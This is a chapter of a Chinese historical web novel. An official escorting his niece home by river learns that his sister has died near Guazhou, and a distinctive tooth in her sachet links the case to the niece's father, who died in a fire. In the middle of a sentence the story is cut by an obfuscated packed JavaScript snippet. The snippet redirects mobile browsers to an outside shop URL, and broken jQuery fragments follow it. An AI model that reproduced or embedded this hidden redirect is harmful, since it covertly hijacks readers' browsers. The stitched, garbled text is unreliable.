没几日,他们便收拾好行囊返回泰州,大大小小的箱子装了满满四车。日前洪氏已搬走了一些物件,如今再一搬,这府里更是空空荡荡了,只留了两个婆子守门,大有长期不归的意思。
他们一路顺江向东。水路比陆路还是要快上许多,紧赶慢赶,日落前便到了舒州。刘溪鸰心里算着,按照这个行程,三天定能到了。当然,此刻她更关心的是:“舅舅,我娘他们是不是已经到了?”
较之前几日,沈舜眉间忧色稍褪,“应该是。”心道家中最近几日也没了信,难不成那里已经乱成了一团?也不知他那提前赶去的妻女能否稳住整个局面,妹妹沈拂体弱又是外嫁女,幺弟两口子亦是年轻,他们自然是揽不动这活的。
“我们就快到了,那我就不写信给娘了吧?”
沈舜闻言,放柔了语气:“你想写也可以写的,是你眼下所见所想,到时候给她就是了。”见女娃虽面色凝重,但闪亮的眸子中却难掩兴奋。母女团聚,他如何看不出她有多高兴?在淮东时,娘俩二人便是彼此的依靠,她来蓟州后,那依靠便由无数的家书所堆砌。
这些他都看在眼里,心中不禁生出些许愧意。于是叫船靠了岸,打算带她去城内找个驿馆好好歇歇。刘溪鸰推开西边的窗户,红彤彤的太阳浮在江边,像是腌好的鸭蛋黄,水面开始隐隐有雾,好似一层薄纱遮住了橙黄一线,八百里皖江美如画,初春的江水便是在这样的傍晚随风疏皱。
后日的这时候,就能见到娘了,她这么想。在母亲身边,她从不需要谨小慎微,也不需要想那么多复杂的事,只需全心全意做娘的女儿便好。
风入船舱,江景即至,孤影碧空,叫沈舜也不由感到一阵松快,他深吸一口气,这些日子的起落着实叫他挨不住,他每日都是浑浑噩噩如坠地狱,此刻江面冰冷的水汽直灌胸中,倒叫人心生平静了起来。
“传闻当年李太白便是在此处捉月而亡。”他不禁叹道,“可惜,可惜!”
刘溪鸰道:“真的捉月而亡?”
沈舜点头:“是传言罢了,醉酒于江上,捞月而亡。”
刘溪鸰想了一会,道:“难道苏子说的挟飞仙以遨游,抱明月而长终,也是这样的意思?”
沈舜一怔,失了笑,“我倒未曾这样想过!”
她接着道:“那么诗仙许是死得其所,舅舅为何要为他惋惜?”
沈舜苦笑:“你还小,不懂。”传说李太白人生的最后时刻便是在这皖江之上度过的,尽管当初流放夜郎遇赦,但彼时的他已是垂垂老矣,一切再无转圜余地。如今自己恩师入狱,高堂又訇然离世,他此刻的心境或可比诗仙那时。这小小女娃,又如何懂得他可惜的是什么呢?
他不再解释,转而指着前方道:“阿鸰,你可知过了这舒州,前方是何处?”
她自然知道,嘴角亦有些许自豪流露:“无为军,我爹当年从军的地方。”虽然对生父的记忆不算太深,但其音容身形在街坊邻居的口中被传了数年,她还是晓得的。
“阿鸰有时记性倒蛮好!”
十多年前,大夏南境频扰又土瘦人多,老丞相曾晖便主张沿江军屯,以解燃眉之急,舒州无为便是其中重镇。此策有利于据南线以扩防,利国利民,自然是一呼百应。那时候的青年刘兆柏亦是从容应征,所驻之地便在此处。
今人之所见,自西向东沃野千里,却并不会想起那一段峥嵘岁月。
刘溪鸰憨憨一笑,又问:“听人说,在我出生以前,舒州也是无为军管的地方?”
沈舜奇道:“是么?你从哪儿晓得的?”
她想了想道:“也许是在扬州那会儿?说是这两个地方很多田是混着的,亦有重复登记在册的,有人便趁机私屯。”说着又摆摆手,“那时候小,只是有这么个印象。”
“若是这么说来,或许军屯时期是有的,那一段各州之间水陆不通,地方缺编,州界勘明的也不甚清楚。有这样的事,也不稀奇。”沈舜莞尔,未曾想到这小女娃竟对山水地籍之事上心。
二人还在倚窗说着话,忽然,马蹄疾驰之声自岸上传来,接着便有人朝他们喊话:“船上可是蓟州沈提学?”
沈舜闻言,朗声回道:“正是。”
那人道:“在下江宁府程年,杨昭杨知府有急件!”
沈舜一听,忙掀开帘子出了舱。却见那骑着高头大马的官差伫立在岸头,那马身形高大,毛色发亮,是江宁府的上等快马。再定睛一看,那官差身后还跟着一人,那人一身素缟,是沈府的家丁沈流,暮色之下那素服麻衣甚是突兀,却瞧不清其面上神情。
再有两天就到了,这个时候自家人为何还要往这儿赶?沈舜心中惊疑,又回身嘱咐道:“我下去看看,风大,先别出来。”
走近一瞧,那程年神色肃然,沈流则在一旁泣不成声。他展开信笺,在昏暗的日光即将褪去时将将瞧见那句“汝妹邹沈氏日前亡于瓜洲江畔”,脑中顿时闷雷作响,心头一梗,再也站不住。
“少爷!”“大人!”
刘溪鸰闻言亦是掀帘而出,“舅舅!”
沈舜眼看着外甥女下来了船,只能将那信捏作一团攥在手里,他掐着沈流的手,一个字也讲不出,只能瞧着众人摇头。刘溪鸰见他脸色煞白,又忙去寻了丸定神丹来送他服下。
“怎么了?”她瞧见周围的人表情皆是古怪。
众人会意沉默。
她看了看沈舜,又看了看沈流:“是家里出了什么事?”她的直觉是敏锐的,但却没有察觉舅舅倏地僵硬的手臂。
这厢,沈舜一面庆幸她不认得程年,一面强压着自己发声:“无碍,是京中来的公务。我有些……晕船,下船又走的急,头晕!”
她一听京中,还以为是那军饷一事有了什么风声,便宽慰道:“舅舅这几日如此操劳,今日又赶了一天的路。仔细身子!”又瞧了瞧周围,日头已经落了下去,“现在咱们已经到了舒州,不如先进城歇一歇,明日再做定夺吧!”
沈舜点头应允。好容易挨到了客栈,他便匆匆招呼人安置刘溪鸰去睡,自己在房中假意商量“公事”。好在这一路的确是真奔波,戌时未到刘溪鸰就困得睁不开眼了。
半个时辰后,沈舜瞧她是真的睡沉了,才叫了沈流问话:“你细说,怎么回事。”
原来,自沈家老爷子去了之后,洪氏母女便从娘家往泰州赶。邹员外因在莱州办事一是赶不回来,沈拂便先从江宁回泰州。按说江宁离泰州最近,骑马或坐船均是一日可到的,可直到洪氏娘俩都到了,也没见着沈拂的人。
遣了人去邹府,邹府又说夫人早就出发了,洪氏这才觉着不对,又想到近来倭寇犯境的传闻,心下直突突,赶紧报了官。洪氏到底心细,这江宁去泰州必过扬州龙川,三地就在一条线上,而北冀伯爵府的旧事又摆在那处,保不齐还有些龃龉拉。便也去了信给那龙川知县及北冀伯府的刘年柏,于是宁、泰、扬三地官府同出,这动静就大了起来。
怎奈两日过去,沈拂主仆还是不知所踪。
直到昨日清晨,众人在离龙川不远的一僻静林子外边发现了邹氏一行人的踪迹。斑驳的车辙印一路扭曲,马车倒在草丛中印出痕迹,妇人带血的衣物布料则四散林中,而匆忙凌乱的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058971|137641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脚印则顺着杂草倒地的方向穿林而出,往前数十步便是那空无一人的瓜洲渡。
这些都显示着此地曾经发生过什么。
事已至此,几处官府贵府各有猜测。最先发声的自然是那邹府,毕竟人是在他们手中不见的。他们说自家主母貌美,却执意独自出门,被歹人惦记后掳走。
沈四叹气:“这些年淮南一带的屯区没人守,倭子犯事不少。原先我就听说,小姐嫁过去后姑爷很少许她出门,就是因为有一次被倭子盯上了,好容易才甩脱。”
沈流道:“邹府的人还说,老爷出事之后,姑爷本是叫小姐等他回了再一同走,可她偏要自己上路,所以定是在路过扬州时被……”他说不下去。
自古红颜多薄命,自倭寇犯境以来,烧杀掳掠一事在江淮一带屡见不鲜,那沈拂年幼时便以容色出众而闻名江淮,不然何以让刘兆柏仅凭一面之缘便挖空心思想尽办法也要娶到扬州来?如今她也不过二十六七,正是妇人姿容绝美的时候,若真遇上那倭寇,只怕真的是凶多吉少。
但那邹府的一面之词自然不可尽信。
“请程先生来吧!”
那江宁府尹杨昭是沈舜青年在外游学时的师兄,程年那时便跟随其左右,能托他来,自然是有了不得已的事,这也是为何方才在船上一瞧见他,沈舜便顿感不妙的缘故。却万万没料到想来得又是一封报丧信。
朝中风雨,沈舜远在淮西本与此无关,避嫌不避嫌的,也都是看情分,这姑且撇开不谈。但他家中却出了这接二连三的祸事,作为师兄,杨昭如何也是要帮上一帮的,更何况当年沈拂再嫁江宁邹府,沈舜也是特意给自己来信托付过,如今人就这样没了,他身为江宁父母官,自然也是要给出一个公允的说法。
只是沈府新丧待发,府上人多口杂,这失踪的沈拂既是北冀伯刘府的旧人,又是沈家大小姐,还是邹氏钱庄的主母,她一失踪,事情不是一般的棘手。杨昭不知该如何插手,又打心底觉得这事拖不得,只得第一时间派程年赶来与师弟相商。
程年为人老成心思缜密,三言两语便把事情的经过复述了一遍。
“贵府和邹府都有自己的布行,从不用外家的料子,花样、针脚手法也有所不同,这点容易辨认。关键之物还有大小姐随身携带的香囊。”
沈四道:“那香囊很特别?”
沈流道:“香囊是小姐自己绣的,里头装了牙齿、舍利还有东海的珍珠。”
程年颔首:“可找到时已被翻破了。”又道,“前几日扬州府的确捉了几个倭寇。大小姐遗落江边的行囊细软又被翻得一文不剩,那贴身香囊里也就只剩了一颗牙,因此的确不能排除遭遇倭寇的可能。”
沈流恨道:“一帮贼子忒可恨,连香囊都不放过!”
沈舜:“什么牙齿?”
程年道:“一颗成年男子的牙。”想了想又道,“说来,找到小姐随身行囊那日,北冀伯府和龙川县也来了人,他们都认得那牙齿,只是面上瞧着有些古怪。”
沈四恍然记起,一拍腿:“是了少爷,是伯爷的那颗牙……您,您忘了?”
这伯爷便是五年前死于大火的刘兆柏,刘溪鸰的亲爹。
大火之后,北冀伯府的西苑烧得面目全非,唯一的一具尸体也是焦黑难辨,而那颗瘸了口的牙便是认尸的凭据,上头有个缺口较为明显,是刘兆柏从军时与人打架摔得,后来用锡银补了补,好在是在里头,不张嘴大笑的话瞧不出来。虽然那时沈舜远在京城未能亲历认尸的场景,但这颗牙他却有印象。
不止他,扬州龙川县的大多数人应该都有印象。